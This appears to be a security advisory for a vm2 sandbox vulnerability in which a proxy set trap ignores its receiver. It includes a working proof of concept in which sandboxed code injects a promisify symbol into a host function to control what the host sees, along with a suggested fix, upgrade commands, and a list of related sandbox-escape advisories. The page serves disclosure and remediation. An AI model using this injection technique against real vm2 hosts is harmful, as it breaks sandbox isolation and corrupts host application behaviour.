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GHSA-c4cf-2hgv-2qv6 CVE-2026-47209

vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

High npm
Severity
8.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.29%
Chance of exploitation in the next 30 days. Higher than 21.31% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-693 Protection Mechanism Failure
Fix
3.11.4
Upgrade vm2 to this version or later

Description

Summary

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Impact

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

Reproduction

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

Suggested Fix

set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Affected versions

npm

PackageVulnerableFixed in
vm2
< 3.11.4
3.11.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vm2 npm → 3.11.4

npm
npm install vm2@3.11.4
yarn
yarn add vm2@3.11.4
pnpm
pnpm add vm2@3.11.4

Severity breakdown

CVSS 3.1 8.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-489w-w794-jq94
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
High Also affects vm2
GHSA-2v2p-6j97-cjg9
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Medium Also affects vm2
GHSA-5h3f-q97h-ccvc
vm2: NodeVM custom resolution bypasses external path boundaries
Critical Also affects vm2
GHSA-pq68-rvw4-xp4r
vm2 contains a sandbox escape vulnerability
Critical Also affects vm2
GHSA-f8gf-w286-fmq2
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
High Also affects vm2
GHSA-6rh5-qq4q-97xh
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
High Also affects vm2
GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Critical Also affects vm2
GHSA-wjwh-qqvp-g4p4
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Critical Also affects vm2
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